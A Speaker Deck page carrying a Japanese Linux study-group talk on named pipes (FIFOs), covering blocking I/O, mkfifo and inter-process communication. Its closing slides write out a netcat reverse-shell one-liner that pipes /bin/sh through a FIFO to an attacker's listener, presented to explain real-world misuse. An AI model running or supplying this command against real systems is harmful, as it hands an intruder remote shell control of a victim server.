Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
名前付きパイプ FIFO
Search
Osumi, Yusuke
February 13, 2021
Technology
0
500
名前付きパイプ FIFO
「新しいLinuxの教科書」を読む会 オンライン #10 での発表資料です。
https://linuxbook.connpass.com/event/202890/
Osumi, Yusuke
February 13, 2021
Tweet
Share
More Decks by Osumi, Yusuke
See All by Osumi, Yusuke
本の紹介の補足
ozuma
1
370
gitサービス3兄弟
ozuma
0
380
簡体字は楽
ozuma
0
440
ソフトウェアは固定資産
ozuma
0
400
ASCIIコードの小話
ozuma
0
410
今いるディレクトリを消すとどうなる
ozuma
1
350
文章、作文技法 リモートワーク
ozuma
1
870
CentOSの今後のリリース(簡易説明)
ozuma
0
380
AndroidでもLinux動いてるよ
ozuma
0
410
Other Decks in Technology
See All in Technology
Platform開発が先行する Platform Engineeringの違和感
kintotechdev
4
550
企業の生成AIガバナンスにおけるエージェントとセキュリティ
lycorptech_jp
PRO
2
160
AWSで始める実践Dagster入門
kitagawaz
1
600
【初心者向け】ローカルLLMの色々な動かし方まとめ
aratako
7
3.4k
研究開発と製品開発、両利きのロボティクス
youtalk
1
520
機械学習を扱うプラットフォーム開発と運用事例
lycorptech_jp
PRO
0
230
Snowflakeの生成AI機能を活用したデータ分析アプリの作成 〜Cortex AnalystとCortex Searchの活用とStreamlitアプリでの利用〜
nayuts
1
470
Codeful Serverless / 一人運用でもやり抜く力
_kensh
7
390
「どこから読む?」コードとカルチャーに最速で馴染むための実践ガイド
zozotech
PRO
0
290
データアナリストからアナリティクスエンジニアになった話
hiyokko_data
2
440
会社紹介資料 / Sansan Company Profile
sansan33
PRO
6
380k
KotlinConf 2025_イベントレポート
sony
1
120
Featured
See All Featured
Mobile First: as difficult as doing things right
swwweet
224
9.9k
Making Projects Easy
brettharned
117
6.4k
Code Reviewing Like a Champion
maltzj
525
40k
Unsuck your backbone
ammeep
671
58k
For a Future-Friendly Web
brad_frost
180
9.9k
Templates, Plugins, & Blocks: Oh My! Creating the theme that thinks of everything
marktimemedia
31
2.5k
Sharpening the Axe: The Primacy of Toolmaking
bcantrill
44
2.5k
Large-scale JavaScript Application Architecture
addyosmani
512
110k
4 Signs Your Business is Dying
shpigford
184
22k
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
26
3k
Understanding Cognitive Biases in Performance Measurement
bluesmoon
29
1.9k
Fashionably flexible responsive web design (full day workshop)
malarkey
407
66k
Transcript
名前付きパイプ FIFO @ozuma5119 1 「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13
名前付きパイプ FIFO 2 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo $
tail -f fifo (別のターミナルで) 読み込んで解放
名前付きパイプ FIFO 3 先に読み込んでおく $ tail -f fifo $ echo
"Hello" > fifo 今度は書き込むとブロックされない
名前付きパイプ FIFO 4 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo 1.
入出力中は他の処理が行えない (特に遅いディスクを扱う ときにつらい) 2. ただし非同期処理で思わぬデータ破壊が起きにくい利点 ※深い話なので、ここではこれ以上突っ込まない
5 名前付きパイプ FIFO mkfifo - FIFO (名前付きパイプ) を作成する $ man
mkfifo $ mkfifo fifo $ ls -l fifo prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo $
6 $ cat sample.txt | sort $ cat sample.txt >
fifo $ sort < fifo 無名パイプ 名前付きパイプ
プロセス間通信に使われる 7 プロセス実行.... ガッ SIGTERM(15) プロセスA プロセスB 通信したいデータ シグナルによるプ ロセス間通信
名前付きパイプによる プロセス間通信 無名パイプ | と違って、 2つのプロセスはバラバラに 実行していて良い
高度な例(しかし実際の攻撃によく使われる) 被害サーバ:ここでは /tmp/f が名前付きパイプ 8 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る
9 攻撃者が攻撃対象のマシン 上でコマンド実行 (実際は、バレないように 見えないところで実行) 攻撃者のマシンに シェルがつながって 自由に操作できる
もう一度確認して解説 被害サーバ:ここでは /tmp/f が名前付きパイプ 10 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る